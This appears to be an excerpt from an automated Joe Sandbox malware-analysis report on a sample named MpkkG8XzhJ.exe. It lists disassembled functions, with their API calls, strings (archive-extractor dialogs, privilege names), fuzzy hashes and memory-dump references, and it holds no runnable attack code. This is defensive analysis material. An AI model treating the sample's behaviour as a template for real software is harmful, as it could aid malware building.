Instruction ID: 7842081cdc3c52e8a02420e0b32c68460ac79b5847526c2cc1b75d4f01caafc4
Opcode Fuzzy Hash: a6655407054045ee33e2f1e288b7a27b4ce1790c1a9920d9af3e975503cd8c85
Instruction Fuzzy Hash: 8FF0FF72A04300EBD660DB68E986C6673E9BB057117584C07F04CE7A42CB79FC808675

Function 000C3328 Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 000C3330
_wcslen.LIBCMT ref: 000C3341
_wcslen.LIBCMT ref: 000C3351
_wcslen.LIBCMT ref: 000C335F
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,000BC844,?,?,00000000,?,?,?), ref: 000C337A

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 7e600d45696d34c2b84f8b0a6280d960bc357a98afeabcce4228b663901de82a
Instruction ID: 8a641ee59e5f8bab0d08e8f7c8d7fd0873391e79338089c630b3279459777921
Opcode Fuzzy Hash: 7e600d45696d34c2b84f8b0a6280d960bc357a98afeabcce4228b663901de82a
Instruction Fuzzy Hash: 1FF03033008254BFCF122F51DC09ECE3F26EB44B70B11C426F6195E162CE31D651DAA0

Function 000D9CC0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 000D9CDE

Part of subcall function 000DA65A: RtlFreeHeap.NTDLL(00000000,00000000,?,000DDA46,?,00000000,?,00000000,?,000DDA6D,?,00000007,?,?,000DDE6A,?), ref: 000DA670
Part of subcall function 000DA65A: GetLastError.KERNEL32(?,?,000DDA46,?,00000000,?,00000000,?,000DDA6D,?,00000007,?,?,000DDE6A,?,?), ref: 000DA682

_free.LIBCMT ref: 000D9CF0
_free.LIBCMT ref: 000D9D03
_free.LIBCMT ref: 000D9D14
_free.LIBCMT ref: 000D9D25

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ac8d2180760e2c3c720e6d1f9c996b0f42355753d1f8c814d7b0397e491dc860
Instruction ID: 2a89ce04aed048b3aff3f65fe1a811f6802b094eec30161515084b5e097dd929
Opcode Fuzzy Hash: ac8d2180760e2c3c720e6d1f9c996b0f42355753d1f8c814d7b0397e491dc860
Instruction Fuzzy Hash: 00F03AB4901220CFC60A6F14FE464943BA1F727B213058A17F11993BB2C77588C1DBA5

Function 000CB80C Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 000CB699: GetDC.USER32(00000000), ref: 000CB69D
Part of subcall function 000CB699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 000CB6A8
Part of subcall function 000CB699: ReleaseDC.USER32(00000000,00000000), ref: 000CB6B3

GetObjectW.GDI32(?,00000018,?), ref: 000CB83C

Part of subcall function 000CBACE: GetDC.USER32(00000000), ref: 000CBAD7
Part of subcall function 000CBACE: GetObjectW.GDI32(?,00000018,?), ref: 000CBB06
Part of subcall function 000CBACE: ReleaseDC.USER32(00000000,?), ref: 000CBB9E

Strings

(, xrefs: 000CB9AF

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: ffd56bbea26762102a8f70d62364a768fbabfebefdde8bc0e9eaf6d5e23095a9
Instruction ID: 235bf26506d6f4e2b21e249f3833c8f00819bf808ed8997dbec2f312b741719d
Opcode Fuzzy Hash: ffd56bbea26762102a8f70d62364a768fbabfebefdde8bc0e9eaf6d5e23095a9
Instruction Fuzzy Hash: FA91DE71608750AFD620DF25C889E6BBBE9FFC9700F00491EF59AD7260DB31A845CB62

Function 000C2938 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 000C2AF6
_swprintf.LIBCMT ref: 000C2BA5

Strings

%s: %s, xrefs: 000C2B05
%ls, xrefs: 000C297B, 000C2991

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: f6a058ad9375d03f3d50bd9e321ee9d4d5ddf7968eed0a1e8ea7491e30fbd4bd
Instruction ID: e1d80f46cfe746570bf0ac7a6811f155d3de30827d3968a698b3710ed98a38df
Opcode Fuzzy Hash: f6a058ad9375d03f3d50bd9e321ee9d4d5ddf7968eed0a1e8ea7491e30fbd4bd
Instruction Fuzzy Hash: 9A51A731688301FEEA352B94CC02FBE7655EB15B01F20450EF38BA5CE6C6B29950B71B

Function 000D9320 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\MpkkG8XzhJ.exe,00000104), ref: 000D9360
_free.LIBCMT ref: 000D942B
_free.LIBCMT ref: 000D9435

Strings

C:\Users\user\Desktop\MpkkG8XzhJ.exe, xrefs: 000D9357, 000D935E, 000D938D, 000D93C5

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\MpkkG8XzhJ.exe
API String ID: 2506810119-3359158184
Opcode ID: 27d90cf6bf8b9cd50c2e6543b54b8a0e9e0bab5fcc37764cbaaf219301f3676a
Instruction ID: 75ab4f19bc0861ba7720fe07678234c9ab0269e9fbaae10b723435447e65135f
Opcode Fuzzy Hash: 27d90cf6bf8b9cd50c2e6543b54b8a0e9e0bab5fcc37764cbaaf219301f3676a
Instruction Fuzzy Hash: 873190B1A04348EBDB21DB99DC81DDEBBF8EB86710F104067F50497342D7708A41CBA1

Function 000D4356 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 000D437B
_abort.LIBCMT ref: 000D4486

Strings

MOC, xrefs: 000D438D
RCC, xrefs: 000D4395

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 0d84dc15eea3de1283eec2d7651e0e925ae903a95bfd1e978c370c96dc6d5f9c
Instruction ID: 99ba10c32d57edc56cc33845073e3dab09ec80542c0fd4f7e92c1eb5af9acd33
Opcode Fuzzy Hash: 0d84dc15eea3de1283eec2d7651e0e925ae903a95bfd1e978c370c96dc6d5f9c
Instruction Fuzzy Hash: 5C414871900209AFCF15DF98CD81AEEBBB5BF48304F15815AF904B7362D3359A91DB61

Function 000B7F1B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B7F20

Part of subcall function 000B42F1: __EH_prolog.LIBCMT ref: 000B42F6

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 000B7FE5

Part of subcall function 000B8704: GetCurrentProcess.KERNEL32(00000020,?), ref: 000B8713
Part of subcall function 000B8704: GetLastError.KERNEL32 ref: 000B8759
Part of subcall function 000B8704: CloseHandle.KERNEL32(?), ref: 000B8768

Strings

SeRestorePrivilege, xrefs: 000B7F77
SeSecurityPrivilege, xrefs: 000B7F62

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: e2b528b10c7da54fa9f8cf06ea0d600327977d5b76381a12e397d377723c6636
Instruction ID: dd617a4272a00fa6da860aac0482a7eed03e6e17c413ace5362efd890d8a2148
Opcode Fuzzy Hash: e2b528b10c7da54fa9f8cf06ea0d600327977d5b76381a12e397d377723c6636
Instruction Fuzzy Hash: 3A31F431940249AEEF60EB649C06FFE7BADAB44354F004026F509B6192CE788E44DB61

Function 000CBDD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 000B12F6: GetParent.USER32(?), ref: 000B132A
Part of subcall function 000B12F6: GetDlgItem.USER32(00000000,00003021), ref: 000B133A
Part of subcall function 000B12F6: SetWindowTextW.USER32(00000000,000E45F4), ref: 000B1350

EndDialog.USER32(?,00000001), ref: 000CBE58
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 000CBE6D
SetDlgItemTextW.USER32(?,00000066,?), ref: 000CBE82

Strings

ASKNEXTVOL, xrefs: 000CBDE8

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ItemText$DialogParentWindow
String ID: ASKNEXTVOL
API String ID: 364370097-3402441367
Opcode ID: a3f0372d39e2a6998f1a44b029f4a81006a337e65293640678adacda70272480
Instruction ID: 32bbcbb7abe0585408013fa8f93505d66d52feb9134b548bc89cdfa8435f90eb
Opcode Fuzzy Hash: a3f0372d39e2a6998f1a44b029f4a81006a337e65293640678adacda70272480
Instruction Fuzzy Hash: 1511D032600611BFD7259FA8DE06FFE3BADEB4AF40F004019F740AB0A5C762995187A6

Function 000BEC0C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 000BEC74
_strncpy.LIBCMT ref: 000BECBA

Part of subcall function 000C30E5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,000F3070,?,000BEC48,00000000,?,00000050,000F3070), ref: 000C3102

Strings

$%s, xrefs: 000BEC69
@%s, xrefs: 000BEC5E

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 1d62420d4514d50cfb981e8b2844bc8a1464a671d4250c76cee432dcc78122a0
Instruction ID: 569c42d9677b2d1a03a62659770904dc3ddd5390c07298ba4d9baddf993471a5
Opcode Fuzzy Hash: 1d62420d4514d50cfb981e8b2844bc8a1464a671d4250c76cee432dcc78122a0
Instruction Fuzzy Hash: BB217F72540388AEEB20DFA4CD45FEF3FE8AF04700F140526FA159A292E771DA458BA1

Function 000C215F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,000BC04A,00000008,?,00000000,?,000BE685,?,00000000), ref: 000C219E
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,000BC04A,00000008,?,00000000,?,000BE685,?,00000000), ref: 000C21A8
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,000BC04A,00000008,?,00000000,?,000BE685,?,00000000), ref: 000C21B8

Strings

Thread pool initialization failed., xrefs: 000C21D0

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: d781005cf5df9ecd8c67a1932a270e63f2a9e2ab8565cab0aabfdbf5cafc50e8
Instruction ID: 6c6aeec4877bf77bfcf8e2c1bb30fae43ba52b02645b0c229d03f35911b5c59e
Opcode Fuzzy Hash: d781005cf5df9ecd8c67a1932a270e63f2a9e2ab8565cab0aabfdbf5cafc50e8
Instruction Fuzzy Hash: 5711E7B1604708AFD3215F7A9CC4AABFBDCFB64744F18082EF6CAC7200D6705A408B60

Function 000CC450 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 000B12F6: GetParent.USER32(?), ref: 000B132A
Part of subcall function 000B12F6: GetDlgItem.USER32(00000000,00003021), ref: 000B133A
Part of subcall function 000B12F6: SetWindowTextW.USER32(00000000,000E45F4), ref: 000B1350

EndDialog.USER32(?,00000001), ref: 000CC49E
GetDlgItemTextW.USER32(?,00000066,?,00000200), ref: 000CC4B6
SetDlgItemTextW.USER32(?,00000067,?), ref: 000CC4E4

Strings

GETPASSWORD1, xrefs: 000CC469

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ItemText$DialogParentWindow
String ID: GETPASSWORD1
API String ID: 364370097-3292211884
Opcode ID: af1a90a23e27ccff5a94375b2e240c29e0bebaf94ed87cef079c78b79a893a09
Instruction ID: 955eaf1a3bfb2837d54d4f327971813628ede3770c04dcde8228ebf48f7398da
Opcode Fuzzy Hash: af1a90a23e27ccff5a94375b2e240c29e0bebaf94ed87cef079c78b79a893a09
Instruction Fuzzy Hash: C811C472A40128BAEB395B64DD59FFF7B6DEB49714F008168FB09F6480C27199429AA0

Function 000CEE1D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 000CEE5C, 000CEE90
RENAMEDLG, xrefs: 000CEE71

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 3fe189522667b37606bc114a4882de63c8b88ab2860f1b431203b95e61e3adad
Instruction ID: 0b7927d168c769ce4011b1a3c8e805274791dbe4b396e838c7828cc27d95c950
Opcode Fuzzy Hash: 3fe189522667b37606bc114a4882de63c8b88ab2860f1b431203b95e61e3adad
Instruction Fuzzy Hash: 66015271604284AFE7118F59EC48FAF7FA5AB4A3D4B044029F50593670C6759890EBA1

Function 000B12F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 000BF608: _swprintf.LIBCMT ref: 000BF62E
Part of subcall function 000BF608: _strlen.LIBCMT ref: 000BF64F
Part of subcall function 000BF608: SetDlgItemTextW.USER32(?,000F0274,?), ref: 000BF6AF
Part of subcall function 000BF608: GetWindowRect.USER32(?,?), ref: 000BF6E9
Part of subcall function 000BF608: GetClientRect.USER32(?,?), ref: 000BF6F5

GetParent.USER32(?), ref: 000B132A
GetDlgItem.USER32(00000000,00003021), ref: 000B133A
SetWindowTextW.USER32(00000000,000E45F4), ref: 000B1350

Strings

0, xrefs: 000B12F9

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ItemRectTextWindow$ClientParent_strlen_swprintf
String ID: 0
API String ID: 1283792255-4108050209
Opcode ID: 4aeb8cd947a2b99550eb33b5e2b3f0335742f9eeae415df58464f1fd41e75863
Instruction ID: 98d18ce29a4dbad9d4a5adf6021f65fe68db3d5c9cd5d8abeeb6cc1fed87e56f
Opcode Fuzzy Hash: 4aeb8cd947a2b99550eb33b5e2b3f0335742f9eeae415df58464f1fd41e75863
Instruction Fuzzy Hash: 69F0AF3010864CBBDF660F21CC29BF93BD9BB02B84F448124FD44958A2EB78CA90EA10

Function 000B4957 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 000B495C

Part of subcall function 000CFD0D: std::invalid_argument::invalid_argument.LIBCONCRT ref: 000CFD19
Part of subcall function 000CFD0D: ___delayLoadHelper2@8.DELAYIMP ref: 000CFD3F

std::_Xinvalid_argument.LIBCPMT ref: 000B4967

Strings

string too long, xrefs: 000B4957
vector too long, xrefs: 000B4962

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$Helper2@8Load___delaystd::invalid_argument::invalid_argument
String ID: string too long$vector too long
API String ID: 2355824318-1617939282
Opcode ID: 4a522bbac5aed8924613bdbc89f06fe935fe69465a35f34790d4b2caa118db7e
Instruction ID: 6b284947467f22b38f5194295fbd545bdf08888d200a80d27ab2fabca1c5ab8a
Opcode Fuzzy Hash: 4a522bbac5aed8924613bdbc89f06fe935fe69465a35f34790d4b2caa118db7e
Instruction Fuzzy Hash: EAF030312003446B8624AF59FC85DCFB7EEEF85B54751092AFA85D7603DBB0EA0487B6

Function 000CAC14 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 000CAC4B
RegisterClassExW.USER32(00000030), ref: 000CAC6C

Strings

RarHtmlClassName, xrefs: 000CAC62
0, xrefs: 000CAC2A

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

